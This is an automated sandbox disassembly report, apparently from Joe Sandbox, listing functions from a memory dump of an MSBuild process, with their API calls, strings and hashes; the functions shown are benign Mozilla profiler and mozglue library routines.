Opcode ID: 069b2a645c271dc5bd15496b0d2a2e3b04a69c467d6f1a2f497f69781678b3b5
Instruction ID: 48bdc8216873c3bc7cc581b7433660afd659c8a4e9040144bcea00976ddac9e3
Opcode Fuzzy Hash: 069b2a645c271dc5bd15496b0d2a2e3b04a69c467d6f1a2f497f69781678b3b5
Instruction Fuzzy Hash: AA31F471A00208AFDB14EF59DC54DEE7BE9DF88314F41842DEA1A9BB80EB3559058BE1

Function 6C5046E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C504721

Part of subcall function 6C4B4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C4F3EBD,00000017,?,00000000,?,6C4F3EBD,?,?,6C4B42D2), ref: 6C4B4444

Strings

-%llu, xrefs: 6C504733
., xrefs: 6C50476A
profiler-paused, xrefs: 6C5046E4

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: c851dbc6a27d6f82640845eed5f7f2cc25b88a9b8477b46a2c1c199abb378227
Instruction ID: 84290a477d46cacb4353922ea029d02c8c13bafbb7718c672bcbf9f8ff993460
Opcode Fuzzy Hash: c851dbc6a27d6f82640845eed5f7f2cc25b88a9b8477b46a2c1c199abb378227
Instruction Fuzzy Hash: D1310971F042185BCB0CDF6DEC9169EBBE6DB98314F15863DE805DB781EB7498058B90

Function 6C50B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4B4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C4F3EBD,6C4F3EBD,00000000), ref: 6C4B42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C50B127), ref: 6C50B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C50B4E4

Strings

pid:, xrefs: 6C50B4DE

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: e3574e0f570da84fb266a77f73b0c14a4ee20347194995323be8160152cc79b8
Instruction ID: 79e2962ed473581de50e3ad2560f953b0d906d16fb6afba40e1c6370afc2aed0
Opcode Fuzzy Hash: e3574e0f570da84fb266a77f73b0c14a4ee20347194995323be8160152cc79b8
Instruction Fuzzy Hash: 6E310031B012198BDB10EFA9DC80AAEB7B6FF45308F540529D805A7B41E731AA49CBE1

Function 6C4CBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C517A3F), ref: 6C4CBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C517A3F), ref: 6C4CBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C517A3F), ref: 6C4CBF7E

Strings

Rl, xrefs: 6C4CBF84

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Rl
API String ID: 4279176481-1492440497
Opcode ID: 8c8c25d6bb4197f3f9873fb20b7bc3d0ec78077c9817b87343a16840a6bbe121
Instruction ID: 4179610e1ff43759c840cbd0e245b849eb27e844fa2d606ee0f8dcf6f19bf22b
Opcode Fuzzy Hash: 8c8c25d6bb4197f3f9873fb20b7bc3d0ec78077c9817b87343a16840a6bbe121
Instruction Fuzzy Hash: 5B11C079200A048FC729CF1CD999A26FBF8FF59305355885DE98A8B791C771E801CB94

Function 6C4BF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6C52D020), ref: 6C4BF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4BF132

Strings

shell32, xrefs: 6C4BF11D
SHGetKnownFolderPath, xrefs: 6C4BF12C

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: 08f5e94e4026a2fa1392b4e81774c980a65303d53817be91f2093d2fd9d9eb29
Instruction ID: 2948150af92a6c56cf30f73a80d10737d22624562a29b204a5c959b23cb82fad
Opcode Fuzzy Hash: 08f5e94e4026a2fa1392b4e81774c980a65303d53817be91f2093d2fd9d9eb29
Instruction Fuzzy Hash: 8B019E757012159BDB10DF69DC48E5B7BF8EF8A255B410518E84DE7300E730A904CBB4

Function 6C4FE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4FE577
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FE584
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C4FE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4FE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4FE722, 6C4FE750, 6C4FE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4FE826, 6C4FE850
MOZ_PROFILER_STARTUP, xrefs: 6C4FE5A1, 6C4FE5CC, 6C4FE5FF, 6C4FE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4FE777

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: baea697c5c38c50c701ffc90ce8196e49f2e989b0c627376a28ae15df2fa75fa
Instruction ID: 794d77117f747b8bcf938147792fd80289a0e8c154d8dfdffc8d4e45d347a1d5
Opcode Fuzzy Hash: baea697c5c38c50c701ffc90ce8196e49f2e989b0c627376a28ae15df2fa75fa
Instruction Fuzzy Hash: 97118E31604658DFCB10EF18CC48A5ABBF4FBC9729F420659F89947751E770A805CB99

Function 6C500C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C500CD5

Part of subcall function 6C4EF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C4EF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C500D40
free.MOZGLUE ref: 6C500DCB

Part of subcall function 6C4D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4D5EDB
Part of subcall function 6C4D5E90: memset.VCRUNTIME140(ewQl,000000E5,?), ref: 6C4D5F27
Part of subcall function 6C4D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4D5FB2

free.MOZGLUE ref: 6C500DDD
free.MOZGLUE ref: 6C500DF2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0e2aec619aebe081bd111402781dd2d1709e68ba3c50e8d78854ad672f82d183
Instruction ID: a95bc8415c95942f30e9ef7ac5f6536eea2b19d4c9d091b134c3502e3b33db8e
Opcode Fuzzy Hash: 0e2aec619aebe081bd111402781dd2d1709e68ba3c50e8d78854ad672f82d183
Instruction Fuzzy Hash: 9B413775A087848BD720DF29C48079AFBE5BFC9714F118A2EE8D887751DB70A844CB92

Function 6C509120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C508242,?,00000000,?,6C4FB63F), ref: 6C509188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C508242,?,00000000,?,6C4FB63F), ref: 6C5091BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6C508242,?,00000000,?,6C4FB63F), ref: 6C5091EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C508242,?,00000000,?,6C4FB63F), ref: 6C509200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C508242,?,00000000,?,6C4FB63F), ref: 6C509219

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: f24d79f7df08b0a33d1554fa698c3688a807b6189a729a69fa61626b6cf98634
Instruction ID: 6d52d48f91dcce0f2f18227586e071e28405a1e89d2a27d0129c49f6fea4b35d
Opcode Fuzzy Hash: f24d79f7df08b0a33d1554fa698c3688a807b6189a729a69fa61626b6cf98634
Instruction Fuzzy Hash: B2312131B016068BEB20DF68DC8476E73E9EF81314F518A29D85AD7654FB30E804CBA1

Function 6C4F0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53E7DC), ref: 6C4F0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4F084C
EnterCriticalSection.KERNEL32(?), ref: 6C4F08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C4F08BD
LeaveCriticalSection.KERNEL32(6C53E7DC), ref: 6C4F08D5

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: b76abeb380ba20190dce25cf2dcc52fc2bf8578794c7eb8bf1b2a4e417d58f2a
Instruction ID: 4590996ef195a704c799f05056a6a61c3f39cc6b25ef56c020349aacf94110ca
Opcode Fuzzy Hash: b76abeb380ba20190dce25cf2dcc52fc2bf8578794c7eb8bf1b2a4e417d58f2a
Instruction Fuzzy Hash: DD21B031B0524D9BEB04DF69DC48FAA73B9AFC570AF500528D91DA7B40EF71A8058BD4

Function 6C50CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C4FDA31,00100000,?,?,00000000,?), ref: 6C50CDA4

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

Part of subcall function 6C50D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C50CDBA,00100000,?,00000000,?,6C4FDA31,00100000,?,?,00000000,?), ref: 6C50D158
Part of subcall function 6C50D130: InitializeConditionVariable.KERNEL32(00000098,?,6C50CDBA,00100000,?,00000000,?,6C4FDA31,00100000,?,?,00000000,?), ref: 6C50D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C4FDA31,00100000,?,?,00000000,?), ref: 6C50CDC4

Part of subcall function 6C507480: ReleaseSRWLockExclusive.KERNEL32(?,6C5115FC,?,?,?,?,6C5115FC,?), ref: 6C5074EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C4FDA31,00100000,?,?,00000000,?), ref: 6C50CECC

Part of subcall function 6C4CCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4CCAA2

Part of subcall function 6C4FCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C50CEEA,?,?,?,?,00000000,?,6C4FDA31,00100000,?,?,00000000), ref: 6C4FCB57
Part of subcall function 6C4FCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C4FCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C50CEEA,?,?), ref: 6C4FCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C4FDA31,00100000,?,?,00000000,?), ref: 6C50D058

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 85bb84d9761e99ca1a8b7bc4a5399c2d81548a4d99dc3de7c38befd1c8b4fee0
Instruction ID: a5fdcd37fdbd082bc3038e535e5766a9c31c7b08c5d3f0603f32f1b2888c13c1
Opcode Fuzzy Hash: 85bb84d9761e99ca1a8b7bc4a5399c2d81548a4d99dc3de7c38befd1c8b4fee0
Instruction Fuzzy Hash: DED17E71B04B069FD708CF28C990B99B7E1BF99304F01866DD8598B712EB31B965CBD2

Function 6C4C1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4C17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4C18EE
free.MOZGLUE(?), ref: 6C4C1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4C194C

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 82548451a4b1e7c2ad0da787176839456d184a6c8c89fa1ae134710b71c73efb
Instruction ID: e61d7defebf95f423fa4235efc63dd718cd700f56754f0f5af2ab97d2e71a0fa
Opcode Fuzzy Hash: 82548451a4b1e7c2ad0da787176839456d184a6c8c89fa1ae134710b71c73efb
Instruction Fuzzy Hash: 6B81BF78A152059FDB08CF68C8D4DAEBBB1FF89310F04456DE805AB760D730E855CBA2

Function 6C4D5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4D5D40
EnterCriticalSection.KERNEL32(6C53F688), ref: 6C4D5D67
__aulldiv.LIBCMT ref: 6C4D5DB4
LeaveCriticalSection.KERNEL32(6C53F688), ref: 6C4D5DED

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1d82fd503318471fce0e4756f6a681bc886de5dfc144be6d4f99d7ee49c1f7b4
Instruction ID: 0fb172b45210135520995ce8b2c9fee0c873afafa133bab290d056645c581eb3
Opcode Fuzzy Hash: 1d82fd503318471fce0e4756f6a681bc886de5dfc144be6d4f99d7ee49c1f7b4
Instruction Fuzzy Hash: 42518EB1F001598FCF18DF68C854EAEBBB2FB85304F2A865ED815A7750DB306945CBA4

Function 6C517170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C517250
EnterCriticalSection.KERNEL32(6C53F688), ref: 6C517277
__aulldiv.LIBCMT ref: 6C5172C4
LeaveCriticalSection.KERNEL32(6C53F688), ref: 6C5172F7

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fd5ee6b5c6d82f98853cd77e4c60f92a7469470b3f4227c84ba07a6a4592752b
Instruction ID: aa47a830f590f4cae1a43aacf97e9e33817d356727668ff7a354145c7fad3c26
Opcode Fuzzy Hash: fd5ee6b5c6d82f98853cd77e4c60f92a7469470b3f4227c84ba07a6a4592752b
Instruction Fuzzy Hash: 00517B71F041298FDF18CFACCC54AAEBBB1BB89304F168659D829A7B50E7306D45CB94

Function 6C4BCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4BCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4BCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4BCF4E

Strings

0, xrefs: 6C4BCF30

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 145807ed462d7cdf5268683ca9a2e2cc87a36c06ec1e1fbd9bedd3507d05c555
Instruction ID: 94a19c22682f91c5d621ed8cab911a70817da9619863a18e2b67995d66453b31
Opcode Fuzzy Hash: 145807ed462d7cdf5268683ca9a2e2cc87a36c06ec1e1fbd9bedd3507d05c555
Instruction Fuzzy Hash: 6A51F075A00216CFCB00CF18C890EAABBA5EF99300F19859DE8595F392D735ED06CBE0

Function 6C5177D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5177FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C517829

Part of subcall function 6C4ECC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4B31A7), ref: 6C4ECC45
Part of subcall function 6C4ECC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4B31A7), ref: 6C4ECC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C51789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5178CF

Part of subcall function 6C4B4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4B4E5A
Part of subcall function 6C4B4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4B4E97

Part of subcall function 6C4B4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C4F3EBD,6C4F3EBD,00000000), ref: 6C4B42A9

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df058f563dd47f1ca9c69c1fa0936578b7d20deb4549403f43d48a6e359b12b6
Instruction ID: f04f16d078360fdff25a00409bb00ec636674e54efa3fcd283afc89cf13a6a60
Opcode Fuzzy Hash: df058f563dd47f1ca9c69c1fa0936578b7d20deb4549403f43d48a6e359b12b6
Instruction Fuzzy Hash: E341A1719087469BD300DF29C88096AFBF4FFCA254F204A2DE4A987741EB70D959CBD2

Function 6C4F6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C4F82BC,?,?), ref: 6C4F649B

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F64A9

Part of subcall function 6C4EFA80: GetCurrentThreadId.KERNEL32 ref: 6C4EFA8D
Part of subcall function 6C4EFA80: AcquireSRWLockExclusive.KERNEL32(6C53F448), ref: 6C4EFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4F653F
free.MOZGLUE(?), ref: 6C4F655A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 0b61b87ba2e61ee8c4643494082f62a39191b1ba906bd77b1f775e1b666f65fe
Instruction ID: c38d221a3926643b8fe977c91a0fcec6d6c46a618efdcae4b19bdca9ccddf2aa
Opcode Fuzzy Hash: 0b61b87ba2e61ee8c4643494082f62a39191b1ba906bd77b1f775e1b666f65fe
